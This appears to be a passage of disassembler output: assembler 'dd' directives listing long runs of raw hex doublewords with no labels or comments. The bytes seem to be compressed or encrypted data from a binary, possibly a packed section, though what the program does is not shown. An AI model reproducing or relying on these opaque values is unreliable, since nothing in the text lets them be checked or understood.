		dd 4C286041h, 0FA531172h, 81E55FC4h, 0B7C86FF3h, 0B43A2C6h
		dd 0F13CD492h, 11200A95h, 0C9BBC92Ah, 503C008Eh, 0C5B3FBACh
		dd 988241E4h, 0FB627DE2h, 7176Fh, 0F666DC00h, 5F05615Fh
		dd 0E458C8F6h, 0AE0E734Dh, 15CF3907h, 0A6969EBCh, 132D8440h
		dd 0A79930B4h, 1729803Ch, 0DB9F36AEh, 817920BFh, 452C2E6h
		dd 3DD64FB6h, 52B4C122h, 0F27DE092h, 712FEA75h,	0B998C930h
		dd 0E3DDB998h, 7A5BC282h, 0BDCFAB32h, 59C87DAEh, 573891E3h
		dd 67128DE9h, 60C93002h, 0CE370941h, 0BC259F09h, 0BCD8BC9Dh
		dd 38A12382h, 1D38619h,	0D5F4C930h, 0EC6902A7h,	0F5BDBFF2h
		dd 71F3526Ch, 0F66ED6E8h, 0D35F246Fh, 121C6779h, 60E4417Fh
		dd 28AD1628h, 402405B7h, 0AC836832h, 0DABEB1F3h, 2FA59645h
		dd 5E1637C9h, 68F793F7h, 0C92FA5B1h, 45733B1Ah,	1F3C4E1h
		dd 712h, 1E5A000h, 57000001h, 30942EEEh, 9503AFC9h, 0F591B02Ch
		dd 7A9F3D6Ah, 0CBAF8ECFh, 7DD490F5h, 0FB62E243h, 0FC9815BDh
		dd 2AB68963h, 44E1C0C9h, 7DE2D48Dh, 1D7EEA73h, 0C2000006h
		dd 6B55FC60h, 0DEE049FBh, 6D53FA62h, 0DFE148F4h, 7052FB69h
		dd 9252B4A8h, 22A2053Bh, 0EE4EB58Bh, 580C7947h,	4ED1B5F1h
		dd 0C2E6808Bh, 4FD86A3Ch, 0C9F76ED6h, 4633BB5Ch, 69CEB50Bh
		dd 6A45F3D5h, 0DCE2C3EDh, 4465FC68h, 5EC2FC65h,	0EE5967FEh
		dd 72D1EF76h, 5DC9B2CAh, 0B22B91F0h, 0D7ACB293h, 0D075EE4Bh
		dd 56CEF074h, 5066CFEEh, 1F3F3F4h, 701h, 51E5B300h, 57000000h
		dd 0A6ED64Fh, 944AF16Eh, 0BD83C930h, 2F0E9745h,	0BBDF460Eh
		dd 0EF02185h, 0FA31D2DCh, 0BF81C9E8h, 4C079E46h, 28D34C28h
		dd 0A1C93071h, 67B3C880h, 0CFAB198Ah, 0B72E96F1h, 0E377DE96h
		dd 47h,	45C2F587h, 1260DC44h, 2F11EBBAh, 0F4460EB6h, 0F76ED64Fh
		dd 4096E193h, 8A13C938h, 69F0D9ABh, 5918B302h, 0E8C98D88h
		dd 0B9F16BD6h, 30747026h, 1A047FC9h, 0D84FC83Dh, 0EE281638h
		dd 961A95E7h, 919F5E20h, 4FAB19B0h, 0B1F76ED6h,	0B0A8C721h
		dd 0CA9B7656h, 5E7FE656h, 0A53A5E7Fh, 0CF7A508Ch, 550F7749h
		dd 0DE47FD6Bh, 84BADEFFh, 0FFC1A51Fh, 3A93DB89h, 41259F04h
		dd 2B59037Fh, 0B0FD2C09h, 891D966h, 0F6BA24Eh, 305B1290h
		dd 8EEACBC9h, 0F59153B0h, 4B4B0E91h, 187CC930h,	304AD487h
		dd 0F5D4F5C9h, 0B92A14BDh, 4B2AD14Eh, 82A3C930h, 0D47C3AA3h
		dd 0F4A23D59h, 0C7CF7466h, 0B6269DA3h, 0EC3F7229h, 0F755FC2h
		dd 7186A091h, 186E2607h, 7E439C39h, 2CB57BA8h, 483B8h
		dd 42FA6800h, 0F371D5EBh, 40FC645Ah, 0F26AD7E9h, 4103655Bh
		dd 0FA62CAE8h, 4F71D88Ch, 0FBC56CD8h, 437DD488h, 8FCB62E2h
		dd 7EC574EBh, 5006C2E6h, 6ED64FE2h, 0D88CF9C7h,	5E067F41h
		dd 78A2D9C7h, 13BA2A9Bh, 0F4B3C125h, 397201h, 37C00000h
		dd 0E976129Bh, 0CF74E283h, 0FD8FEBCAh, 0F70F2E6h, 671534ADh
		dd 531B99DEh, 229A0937h, 4C63148Bh, 0BB28C2ECh,	0A824945Ah
		dd 74557C12h, 0DC80E3DDh, 3FED145h, 15630000h, 4C04B82Bh
		dd 4B2F660Ah, 25D44B2Fh, 0A6C93094h, 8E50CF87h,	0CFCF74C7h
		dd 771377EEh, 61CD8C13h, 0DFFEC2ECh, 0EC629940h, 5B1332C2h
		dd 20440065h, 0A33AA21Eh, 1853CA82h, 57430E7Ch,	9BE95BCDh
		dd 0AAE2191Dh, 9045D1h,	0A48537AAh, 87815FC0h, 0E1C0C930h
		dd 2B620E48h, 550ED04Fh, 6E4FCF74h, 0E55FC9F7h,	9D47BF81h
		dd 4F344CD5h, 2B620EE3h, 0AC10714Fh, 411F80E4h,	92C93087h
		dd 0E6DE02E0h, 88C083A1h, 1276DFFEh, 20C8C060h,	3E488Bh
		dd 49773FA5h, 0CFF168DCh, 147EE56h, 3B897771h, 0AB32AA19h
		dd 81BF88Ah, 198044A1h,	5C381938h, 0D9400462h, 4BD4B0F8h
		dd 0CF746059h, 0D748D1F0h, 0C2EC1F20h, 51C87CE9h, 0D44DF76Fh
		dd 6B0179A6h, 0D1BBDAF6h, 2F9380AAh, 1435148Dh,	19FE2853h
		dd 0FBB0ADADh, 0D2891672h, 0FBC2EC99h, 2AC292DAh, 70000000h
		dd 76129B37h, 749F53E9h, 29BBACFh, 0EC88DA9Dh, 80BEDAC2h
		dd 8341A21Fh, 521A3B1Ah, 0AC18FD29h, 49FBB0A8h,	109h, 6ED64FFBh
		dd 68F793F7h, 0C93094B1h, 9B493B1Ah, 4004F50h, 0AD1B256Dh
		dd 0FB6D5337h, 0B9F1D049h, 3FA51E20h, 0A62B98A6h, 3F1E873Dh
		dd 811E7A1Eh, 0C9307DDAh, 39A4ABBh, 3D755422h, 82450B94h
		dd 57CCC930h, 0B62F8DF2h, 853FA997h, 0D2330DA4h, 25CD8B12h
		dd 0D6E88CE8h, 4C6DF470h, 0EE92E3Eh, 83CB695Ch,	74B2821Ch
		dd 0CB6243CFh, 0CCA8E58Dh, 0A9594F2h, 0C2EC6E4Fh, 0E1785978h
		dd 6E5F1A85h, 4968C2ECh, 20442068h, 743CA81Eh, 3316E2EBh
		dd 3D4B39C9h, 0E70BF1DAh, 83A2D49Ch, 0F26AD9E7h, 73F1556Bh
		dd 0A2EACBEAh, 0D68EF8C6h, 0C0251B7Fh, 0F4BC9D04h, 4DE85CCAh
		dd 7DEE73E8h, 1D11851Ch, 0C2000002h, 6B55FC60h,	0DEE049FBh
		dd 6D53FA62h, 0DFE148F4h, 7052FB69h, 9252B4A8h,	22A2053Bh
		dd 0EE4EB58Bh, 580C7947h, 4ED1B5F1h, 0C2E67C8Bh, 4FD86A3Ch
		dd 310F6BD9h, 3B629D0h,	0C4C93094h, 258CC4E5h, 933AAA1Bh
		dd 579B3721h, 309411C8h, 0E99BBAC9h, 21CB8AEh, 86C4DA3h
		dd 70F4526Ch, 1815A738h, 94E6CF74h, 32AE0356h, 4032138Ah
		dd 44BC29D0h, 1200198h,	871E3F49h, 0EBDD5D18h, 0FA245FC2h
		dd 0AFFCB115h, 0D94876FBh, 78E45D63h, 0D888C0E1h, 0D8h
		dd 6ED64F6Ah, 0E55FC9F7h, 982DE37Ch, 407EC930h,	0C6E77EE6h
		dd 917E3DA2h, 6E4FC930h, 39AB1826h, 9035AE90h, 34AD8C30h
		dd 3357DE72h, 74B312ACh, 69DFE1CFh, 0B4362FBh, 4A385C7Dh
		dd 35681FB4h, 19B0F824h, 1E7AB35Fh, 1B36E57Ah, 1A85C2ECh
		dd 0C2EC1B5Fh, 1E3F4968h, 32563256h, 0EC1AEEADh, 0A752CDC2h
		dd 20C2EC1Bh, 1E567701h, 32C02D81h, 0E581A0C9h,	9A42BF81h
		dd 0D9462203h, 0C92DB822h, 0FCC28AABh, 4D73DA8Ah, 67CC69DBh
		dd 0A97DEE29h, 0F2A430h, 8DF70000h, 4CB8862Fh, 930F3198h
		dd 41BE8029h, 9A0C329Bh, 77A1832Ah, 8A12385h, 0BC15CF36h
		dd 14BD1F82h, 0A20BB92Ah, 5E1D82E6h, 6FC2E67Bh,	0D94F8B39h
		dd 87FCC26Bh, 621074DDh, 43BFAB55h, 0AB8F06Bh, 0F76ED64Fh
		dd 41E85CC9h, 67F4125h,	79E6C75Eh, 0C93094C2h, 24622A0Bh
		dd 0FA65018Ch, 0CF7A9EDDh, 0A9914E3Ch, 0E2DC2D53h, 99FDDCAAh
		dd 1A8341A7h, 0D4EA733Bh, 0F591F56Fh, 0E5CFAF6Ah, 713918C2h
		dd 2482BCD8h, 501839A0h, 0D64FF56Eh, 0F3F5F949h, 81269EEh
		dd 6E0ABA2Bh, 0B222F350h, 822B1A36h, 0B2AB392h,	6FD4EA43h
		dd 0ED526CF5h, 0D5AED64Fh, 0CD77EC49h, 15E0DBA9h, 840805F6h
		dd 0EA5B65CCh, 2977E37Ah, 13000000h, 7731E877h,	17889EECh
		dd 9EEC7764h, 13324465h, 7115E95Bh, 30942BEEh, 0F5BD9CC9h
		dd 52CDA9CDh, 0C93094A7h, 0FB490120h, 0FE67D54Fh, 78E163C0h
		dd 0F861DB46h, 7CE55FC6h, 0F960E442h, 7AE361C7h, 0F861DB44h
		dd 7BE25AC6h, 0FA63E145h, 5A5452EDh, 4C281h, 0EA830000h
		dd 24148704h, 16D2685Ch, 3C890000h, 26716824h, 34890000h
		dd 669B6824h, 34890000h, 7B1CBE24h, 31BF0B8Eh, 310DC470h
		dd 8B545EF7h, 0C4812434h, 4, 3BB068h, 241C8900h, 5E89FB89h
		dd 34FF5B08h, 0C4835E24h, 2434FF04h, 4C4815Fh, 0E9000000h
		dd 0FFFA63E6h, 0BC5DA64Dh, 0CFB8A909h, 3064A1Ah, 0E7E0FFC5h
		dd 59665424h, 316772D7h, 0FC26DC95h, 6411A8D0h,	6C62DDC9h
		dd 0C1767989h, 8D0E673Ch, 4A1C588Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9A3E780Eh
		dd 5E8h, 7CC1F000h, 12E81425h, 19000000h, 0C72B3BB6h, 606A9178h
		dd 70B66C63h, 16A764D5h, 0F3BF0FCFh, 0BF0F5E5Ah, 5D8D89FEh
		dd 0F06442Fh, 580h, 0CF816600h,	85C7ED4Ch, 6440679h, 6F40h
		dd 261D858Bh, 85C70644h, 6441071h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D3C35747h
		dd 7B562233h, 69FB7E13h, 10E96051h, 60000000h, 7A489C3Ah
		dd 0F413F98Bh, 12DD7DCDh, 61606776h, 49B5FF58h,	89064416h
		dd 440989B5h, 0F995FF06h, 6A06440Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F2CDC351h
		dd 0D0ADED90h, 60F50319h, 21918D89h, 6A610644h,	4D95FF00h
		dd 8B06441Ch, 332DEBC0h, 0DB3AE906h, 0D31268D8h, 60E3FEEDh
		dd 83397522h, 0C0B7EA3h, 2F6391A3h, 634CD21Dh, 876CA238h
		dd 0D2C80BDAh, 2910D709h, 0A9B4686Ah, 17DE9h, 0FE5D6000h
		dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh
		dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh
		dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh,	0E56D599Ch
		dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh
		dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh,	43h dup(0)
		dd 0D1F80000h, 0DA43736h, 0CD0AD3C2h, 0EFE9189Eh, 6800000Fh
		dd 64A1FF6h, 0FB2A53E9h, 20E668FFh, 49E9064Ah, 68FFFB2Ah
		dd 64A227Ch, 0FB2A3FE9h, 235F68FFh, 35E9064Ah, 68FFFB2Ah
		dd 64A2452h, 0FB2A2BE9h, 252368FFh, 21E9064Ah, 68FFFB2Ah
		dd 64A25E0h, 0FB2A17E9h, 265D68FFh, 0DE9064Ah, 68FFFB2Ah
		dd 64A2755h, 0FB2A03E9h, 27E468FFh, 0F9E9064Ah,	68FFFB29h
		dd 64A28B0h, 0FB29EFE9h, 298268FFh, 0E5E9064Ah,	68FFFB29h
		dd 64A2A39h, 0FB29DBE9h, 2BBE68FFh, 0D1E9064Ah,	68FFFB29h
		dd 64A2CA5h, 0FB29C7E9h, 6E49F5FFh, 0B097280Bh,	6B4CF6D5h
		dd 0B1962D0Eh, 6D4AF7D4h, 3D5C1C08h, 0E1C2A780h, 3E1D785Fh
		dd 0E6C5A087h, 9D1C795Eh, 0DDEC5AFEh, 84D33161h, 1FEA5203h
		dd 1135247Ah, 0D7EC7080h, 85B9FAB4h, 6E81F57Ch,	6740F8DBh
		dd 0B4712802h, 0A80C73D7h, 0FEDD3DE7h, 0C15D6641h, 5E65F974h
		dd 4CFA5E3Dh, 73316FEBh, 54FE5AEFh, 0BE316FEBh,	79693DDh
		dd 243EC529h, 80C3091h,	77F21DE5h, 414Bh, 0B60B2800h, 5BA32491h
		dd 2A9C38A0h, 0D372BC3h, 2E09B291h, 0D1B2D1B2h,	2BC3C375h
		dd 0DD68F437h, 0E7B6AE79h, 0E09FD13Dh, 353893FAh, 9A3E0599h
		dd 316F7330h, 51437BDAh, 77F23B3Eh, 0C812h, 31129500h
		dd 3F1CA98Eh, 0F89BA087h, 0CF46F4B6h, 76C3DB5Eh, 0ACCFE855h
		dd 2912358Fh, 583B00B5h, 0E15EC67Bh, 0CCEF5AC6h, 4B685374h
		dd 15B1D4F3h, 372B2291h, 9EFBDC64h, 192205BDh, 0C7E0597Ah
		dd 0FFD560FCh, 4166DC3Ch, 197AE67Ah, 0E73D1ABDh, 0C4A13D3Dh
		dd 11722BEEh, 0C9EE5172h, 0DD21D87Ch, 98043BA1h, 6BB98FBh
		dd 0AB79421h, 91004E2Dh, 6088C04Bh, 5572CAE9h, 0C5E685E0h
		dd 0FB675C7Bh, 0F7D06D4Eh, 6D90F765h, 5ADFE45Dh, 0D71h
		dd 5A3F18A4h, 84E1C679h, 5F3A1DA7h, 85E0C77Ch, 593C1BA6h
		dd 0D16C8D4Dh, 0EB093F6h, 0D66F4C29h, 0FB794F1h, 0AFCC4D28h
		dd 61DCBD0Bh, 52D58231h, 0ADC8EF52h, 7411368Eh,	0C7A05BF3h
		dd 59E4C7A4h, 0B86FCB7Eh, 513DE7B6h, 0C8209632h, 8B17316Fh
		dd 142FB33Eh, 6FC81AB0h, 2D51F031h, 44F25635h, 7B316FC8h
		dd 4C6352E7h, 2077F2E0h, 0B9h, 0CDEA52A7h, 4F68D5F6h, 0AFBC622Ch
		dd 42AA1F6Fh, 0EC68CCF7h, 0F9372BACh, 7C4760DAh, 0CE7655E0h
		dd 0EC48AE9h, 814AC5FBh, 0D8FB9E2Bh, 567C4760h,	0FD1118A3h
		dd 3B8D63A0h, 0A33FA384h, 3980A3C0h, 0A5823D1Eh, 0D213B410h
		dd 0DA463DE7h, 9E695BFh, 3326CE6Ah, 9D013BA1h, 0B860DDFEh
		dd 0A107AA1Ch, 8D118D3Bh, 5473CDEEh, 1AA784E1h,	7A16B9EFh
		dd 0FD61A700h, 6C98C76Fh, 5ADFE45Dh, 0C81h, 4A2F08B4h
		dd 94F1D669h, 4F2A0DB7h, 95F0D76Ch, 492C0BB6h, 0C17C9D5Dh
		dd 1EA083E6h, 0C67F5C39h, 1FA784E1h, 0BFDC5D38h, 61E3AD1Bh
		dd 42C59231h, 0ADC8EF52h, 7411368Eh, 72EA52F3h,	4A71EDCAh
		dd 90B70A29h, 0A18237ABh, 715B3E19h, 2A8EEDCAh,	3DE79291h
		dd 2C0BB390h, 2C178B17h, 6FEC2288h, 3569C831h, 0F2BC305Fh
		dd 7A1C77h, 5C7F0000h, 0F077C2E5h, 0A4C7A05Bh, 0E7A12F00h
		dd 0B58E123Dh, 6FE2BB11h, 11325131h, 98398CABh,	0C59DB064h
		dd 51F377F2h, 90000000h, 70D40CB3h, 316FEAC6h, 4CF965F9h
		dd 0C7A05BCBh, 5FE4C7A4h, 6ADF4378h, 0E79045CEh, 0A3C05C3Dh
		dd 0F2D264C0h, 0F14B316Fh, 0FC71EDD6h, 7D4661DFh, 0F3C87DE1h
		dd 6FF2FD57h, 86B61731h, 0F90F92DCh, 0C733A2A2h, 0D2C4372h
		dd 0C0077F2h, 87000000h, 896F4h, 0DB49700h, 5B189F2Ah
		dd 5BC378A0h, 61FDC6E1h, 5FE5C6FDh, 43DF4378h, 0BCDFBCDFh
		dd 2BC3AE18h, 0B80D9137h, 0E1A5B61Ch, 0B81C7F3Dh, 3161DD0Eh
		dd 9518AD31h, 102B0CB6h, 97AC8B33h, 680B970Bh, 0FD06F34Bh
		dd 0DB96B0B9h, 6D0E6BF7h, 0A0C5400Eh, 2EEE4574h, 617B3C8Ah
		dd 9D200331h, 0B09326BAh, 3E142F08h, 8FC1A27Bh,	4686DECDh
		dd 7D1EABCBh, 0ABFAE0D9h, 3457CB3Bh, 26903457h,	193BBFB8h
		dd 0AB133085h, 72CAE98Ch, 95446E55h, 96D8BBD8h,	0A527D78Ch
		dd 0DD79CC4Ch, 31736176h, 395FCD51h, 0EE433E5Eh, 0AEB50D5h
		dd 922E0000h, 4CF3D0B5h, 972D0E6Bh, 4DF6D5B0h, 912C0F6Ah
		dd 13C7D3B6h, 157057EAh, 0CAAF8836h, 127750E9h,	0CBAE8931h
		dd 3B8D294Ah, 0FC3161E1h, 7FD52CABh, 0FF372BC0h, 4166DC3Ch
		dd 801ABEDDh, 0A73DE1A5h, 0C5745E3Bh, 0DD05B317h, 0A63A3161h
		dd 801C3B85h, 0BAE547E3h, 4ED23BABh, 2EB60E2Dh,	5DEB4F97h
		dd 623BBFF8h, 0C55962FEh, 0A71F3C59h, 0BBD8BB80h, 0BFF8A91Fh
		dd 0A7128E3Bh, 15AECE8Dh, 0B6950932h, 8C102B0Ch, 96D77310h
		dd 0C131759Fh, 0A51D3E5Dh, 3FA3843Dh, 0C877395Ah, 55677B32h
		dd 348CAF1Ah, 0B7137013h, 25F5BC01h, 241FAA36h,	36802447h
		dd 925F5BCh, 1C526347h,	0B4287DB7h, 0CF11A501h,	0CE8DA5F5h
		dd 0C5D67211h, 0ECAF399Dh, 735077CFh, 48D4EFC8h, 823A46D4h
		dd 0D4EFC8C4h, 0A0851h,	96B10D00h, 486FD0F3h, 93B40E2Dh
		dd 496ED5F6h, 95B20F2Ch, 0C534E4F0h, 193A5F78h,	0C6E580A7h
		dd 1E3D587Fh, 65E481A6h, 0E014A206h, 7C2B3161h,	0C7A05BFBh
		dd 0A49A00A4h, 19D3DE1h, 61F94162h, 60BC2BDEh, 2E9733FFh
		dd 684B2EB2h, 0E6CCF7D0h, 0BD197A33h, 3BAB4713h, 75AD1734h
		dd 0BEC367D1h, 58C4583Bh, 63FF63h, 0D9BC9B23h, 65DA42FAh
		dd 0CFE5DE42h, 9430530Ch, 3174A4FDh, 299F3B58h,	0E25F4DEh
		dd 4E6D0E92h, 97B4D1F6h, 280FB72Fh, 17AC8F13h, 3397AC30h
		dd 25F4DE99h, 0E6856219h, 3EB92442h, 0E4871B2Fh, 3D587FC7h
		dd 0BA81A61Eh, 6047FAD9h, 5872C75Bh, 0E5C27BA1h, 0C35F78C6h
		dd 9DA604A0h, 5C7F24C8h, 0F974C1E6h, 98250665h,	9552E440h
		dd 0F9652858h, 77C25E65h, 0FAB3664Ch, 0EFAA3D99h, 51CD2294h
		dd 51CB49C3h, 20A59E74h, 915h, 0FE9BBC00h, 204562DDh, 0FB9EB903h
		dd 214463D8h, 0FD98BF02h, 75C831E9h, 0AA143752h, 72CBE88Dh
		dd 0AB133055h, 0B68E98Ch, 61E719AFh, 0CE491E31h, 0F6CDEA52h
		dd 2A0DB695h, 0A88F3211h, 1AA28134h, 8524063Dh,	3611A959h
		dd 0AC133053h, 992CB08Bh, 36EA85A8h, 7EB7Eh, 0F46C0000h
		dd 500h, 9F65D973h, 0C46003DCh,	3DE7CE57h, 3017AF8Ch, 0B493280Bh
		dd 3A8F138Fh, 0B2C94B7h, 0BABA1E97h, 7A6C5BF2h,	2185E6BFh
		dd 0E4A86EB2h, 5AEC482Bh, 9EE8B82Eh, 9DF1DFBEh,	0ED71FCBAh
		dd 7249D558h, 0C57BA158h, 6645D9E2h, 63FFD8h, 771EFDA4h
		dd 51F596E2h, 0D2F17EE7h, 7CF144D8h, 18A083E0h,	0C1795A3Fh
		dd 6B474E6h, 1E25B43Ch,	8449Bh,	0EACD7100h, 3413AC8Fh
		dd 0EFC87251h, 3512A98Ah, 0E9CE7350h, 0B9E0988Ch, 65462304h
		dd 0BA99FCDBh, 62412403h, 1998FDDAh, 0E668DE7Ah, 184F3161h
		dd 0CDEA529Fh, 0D5F695F6h, 0EF73486Fh, 2BC3FD4Bh, 0F2D56C37h
		dd 7556E37Fh, 0CAED50C8h, 62193356h, 3EA2853Ah,	0A489F95Dh
		dd 3F5C3DE1h, 61DE2D9Bh, 3B8E1231h, 6A492AB6h, 0B390F5D2h
		dd 0B2C930Bh, 0B30AC30h, 0DEBD7A21h, 0ABB9D47Ah, 467FB3Bh
		dd 0DDB89F27h, 24B346FEh, 0A0E397B4h, 0E8A315B1h, 8943BBFh
		dd 50330894h, 0E8219733h, 0A2D53BBFh, 10C55172h, 0FBB529A4h
		dd 6F61E5CEh, 98BB0E15h, 4E900225h, 735D7204h, 787CD48h
		dd 0EB20000h, 0D06F4C29h, 0BB192F7h, 0D16A492Ch, 0DB093F6h
		dd 9F5B4F2Ah, 81E4C37Eh, 5E3B1CA2h
		dd 86E3C47Dh, 5F3A1DA5h, 0AF19BDDEh, 903161E6h,	0A05B40C7h
		dd 3987A4C7h, 53E19A1h,	0D3B00599h, 0C177D3B0h,	0F6372BC3h
		dd 1E95246Ah, 0E07C7F0Ch, 0AA5FF155h, 1C803DE1h, 0C3E45C7Fh
		dd 1B3C83A0h, 6C09BC20h, 0EBD0F74Fh, 3E5D1AC1h,	0ADE5D19Ah
		dd 7EEC703Bh, 5D6895AAh, 0AE1645Fh, 0F000007h, 0D2F194B3h
		dd 0C2F4A6Dh, 0D7F491B6h, 0D2E4B6Ch, 0E6F297B0h, 5176CB32h
		dd 8EA91734h, 5671C8EBh, 8FA81033h, 0AC086BEAh,	3161E51Ah
		dd 12CD4A1Dh, 0F103425Ch, 8633FB52h, 13A1DA5h, 936F9A22h
		dd 0A5A31C66h, 0A63A1DA3h, 4023013Ah, 0C7FCDB63h, 0F4FEE5Bh
		dd 0ED88AF17h, 35FAB1DCh, 119F7Eh, 12180000h, 0C363D571h
		dd 0C854372Bh, 2E2F87Dh, 527F0000h, 97921FEAh, 521DF3DDh
		dd 1CDFF5CEh, 2A842043h, 0E33DE10Dh, 7C5F78C0h,	44D8E3C4h
		dd 85E07CF1h, 5A391EA6h, 0E9DCDA14h, 0D96C8FFDh, 5B7CC1E2h
		dd 8865143Eh, 0BEC24FEBh, 79E53BABh, 37E6541Ah,	0D4666D9Dh
		dd 99210261h, 40F8DBBEh, 1C3F5C67h, 103386A1h, 0D2B18AADh
		dd 0D9299A9Ch, 0A81DE72Ch, 7D1ED782h, 0A3843D1Eh, 71F0C2EDh
		dd 64D15CB0h, 73811FC0h, 2CBE2231h, 433EF98Eh, 12A5201Bh
		dd 7000006h, 0DAF99CBBh, 4274265h, 0DFFC99BEh, 5264364h
		dd 0EEFA9FB8h, 694EF32Ah, 0B6912F0Ch, 6E49F0D3h, 0B790280Bh
		dd 943053D2h, 3161E422h, 52C54215h, 95F6CDEAh, 12290EB6h
		dd 0FF49ED8Eh, 0C0372BC3h, 72CAE95Ch, 0ED4C6E55h, 0D149F1B1h
		dd 16754E69h, 2BC304B2h, 3BA73B37h, 0EFA1C2A7h,	0C16560C7h
		dd 372B2877h, 3F9AD448h, 83A41F13h, 749BAA1Fh, 0D87E3648h
		dd 7, 178F45Fh,	52730000h, 0E75FCDEAh, 2451E6BBh, 5839A1Fh
		dd 0AB60000h, 0D46B482Dh, 0FB596F3h, 0D56E4D28h, 9B497F2h
		dd 9B5F4B2Eh, 9DF8DF62h, 422700BEh, 9AFFD861h, 432601B9h
		dd 0B305A1C2h, 843161E4h, 0EA5254D3h, 0B695F6CDh, 8C102B0Ch
		dd 3AA21A39h, 4AFC5880h, 6D372BC3h, 0CA566DF1h,	0EE4F6D56h
		dd 4DFAB4AEh, 0CDB4E074h, 7B58EE4Ah, 0C35F372Bh, 2E983C5Fh
		dd 11372B7Bh, 0A31B388Dh, 39A5823Bh, 0A21C3F5Ch, 7B68DE7Ah
		dd 0D34F372Bh, 5DE8744Fh, 362F416Ch, 0D2F7Eh, 0F4A80000h
		dd 0DAh, 0D4F473h, 5B730000h, 0A4C7A0h,	3DE1A5AEh, 1C360D91h
		dd 0C0E3805Dh, 0F9655E79h, 748B2F4Ch, 0BB3BAD8Dh, 5FFB2398h
		dd 3BA58CE9h, 0F5CE52CEh, 0D167F569h, 465D68F4h, 4B7F87Dh
		dd 5EE20000h, 803F1C79h, 5BE1C2A7h, 813A197Ch, 5DE0C3A6h
		dd 4F0B1F7Ah, 0D1B4932Eh, 0E6B4CF2h, 0D6B3942Dh, 0F6A4DF5h
		dd 0FF49ED8Eh, 0C03161EBh, 0A05B1097h, 0F9EAA4C7h, 0D513BCDBh
		dd 0F5694EF3h, 0E402340h, 5D144159h, 0D773C62Ah, 3DE7D2D0h
		dd 9BF89B07h, 6F2D893Fh, 1132AE31h, 29B58EA9h, 66DCFF9Ch
		dd 5B6047FEh, 0D345A015h, 31AD75CCh, 0DF40F652h, 0EB77316Fh
		dd 1DB61277h, 9A316FDFh, 43600522h, 9EBDDEF9h, 8DB60324h
		dd 42808h, 0F1486B00h, 36247B04h, 0D74B2126h, 0A05BE562h
		dd 0E4C7A4C7h, 0D9457E59h, 0A566C86Ch, 0D5493DE1h, 5815C4EEh
		dd 2716583Bh, 0D9A35A90h, 38A4833Bh, 30D6298Dh,	0C5593BADh
		dd 68689B57h, 0FE7B405Dh, 3E5h,	2E4B6CD0h, 0F095B20Dh
		dd 2B4E69D3h, 0F194B308h, 2D486FD2h, 0A5188139h, 7AC4E782h
		dd 0A21B385Dh, 7BC3E085h, 0DBB8395Ch, 61EAC97Fh, 3EB9EE31h
		dd 0A4C7A05Bh, 7A5DE4C7h, 2BC368DEh, 66D34F37h,	0A50BA105h
		dd 0F2C3DE1h, 6A0995B2h, 0B5D6F149h, 0DDC472D6h, 67FB3161h
		dd 2C94B7D2h, 3053300Bh, 61DD2294h, 3C891531h, 0E98A6316h
		dd 6B5077CAh, 31408225h, 0D34F632Eh, 98A10566h,	0A33BABC9h
		dd 0C77F5C3Fh, 0F9C2E55Fh, 0BF9CF965h, 311B2007h, 6ACEAD8Ah
		dd 31732DC1h, 0B906400Eh, 2160B7B5h, 0F3EE3385h, 4980425h
		dd 32A03CB1h, 433E9628h, 2EE3665Dh, 6B000003h, 0B695F0D7h
		dd 684B2E09h, 0B390F5D2h, 694A2F08h, 8296F3D4h,	3D1AA7D6h
		dd 0E2C57B58h, 3A1DA487h, 0E3C47C5Fh, 0C0640786h, 3161E976h
		dd 52991E49h, 209632EAh, 17372BC3h, 1774178Bh, 2BC305B3h
		dd 0E299437h, 6A24A935h, 9C2A0667h, 0E451CD8Ch,	0B144FCDFh
		dd 6731CB82h, 0A6813929h, 19D019Dh, 6D8B4E64h, 6DD3F0D7h
		dd 11B5D64Ah, 3DE7F36Eh, 4EF85C3Fh, 71316FB7h, 49D558EDh
		dd 0B77CD672h, 3796316Fh, 72E20D07h, 364E77F2h,	0C9000000h
		dd 9615A05Bh, 66712D0Ah, 0AB0F6CF0h, 3DE75A7Ch,	5671CEEDh
		dd 0C9F26EE3h, 0DB6DC9AAh, 0DC316F34h, 0FB51F540h, 11316F34h
		dd 65888CB0h, 0CB77F1F3h, 101h,	0CDEA524Ch, 4F68D5F6h
		dd 0C8EF5774h, 0DA6CC8ABh, 0DD372BC3h, 30862241h, 7372BC3h
		dd 76152E9Bh, 0F4CFE855h, 46FEDD68h, 4670461h, 2BC316A0h
		dd 0B52937h, 2BCC20A4h,	2C96B537h, 0C70334D9h, 118DD2A4h
		dd 2003B62Ah, 9ABD0098h, 0C4A13DA1h, 43785FE7h,	96F5B269h
		dd 0E7F6E132h, 0E5DE903Dh, 0D3D288FEh, 80AACF53h, 1C7F1CD9h
		dd 0C2A1863Fh, 6F9DD066h, 0CE7BE731h, 0A1760A6Ah, 5DE0C33Bh
		dd 0FEDD417Ah, 0C65A6146h, 162FE73h, 0DBB89F22h, 79E34A95h
		dd 4C6FBFFEh, 76EAD1F6h, 0E6C5A6C3h, 4812AD58h,	2EFACF81h
		dd 992407B2h, 830C106Ch, 599E018h, 6D108797h, 0A8FB45Dh
		dd 1A9h, 127750ECh, 0CCA98E31h,	177255EFh, 0CDA88F34h
		dd 117453EEh, 99245505h, 46F8DBBEh, 9E270461h, 47FFDCB9h
		dd 0E7840560h, 61E8F543h, 1A9DCA31h, 0ADC8EF52h, 16AE368Eh
		dd 0ABC8AD31h, 0A5103788h, 0C7A05B22h, 87A4C7A4h, 0BE22193Eh
		dd 2BC3AC1Ah, 0BA0F9337h, 0E7B6C91Eh, 97F4683Dh, 13280FB4h
		dd 50D8C18Fh, 1C3C8D8Bh, 0D2F192A9h, 0EF73486Fh, 8E54FE5Ah
		dd 1FBE316Fh, 9E1A35DFh, 9D7677F2h, 0F1000000h,	0A01FEA52h
		dd 0E054D3BDh, 0B192A935h, 0B4102B0Ch, 372B6630h, 3F5A7DC5h
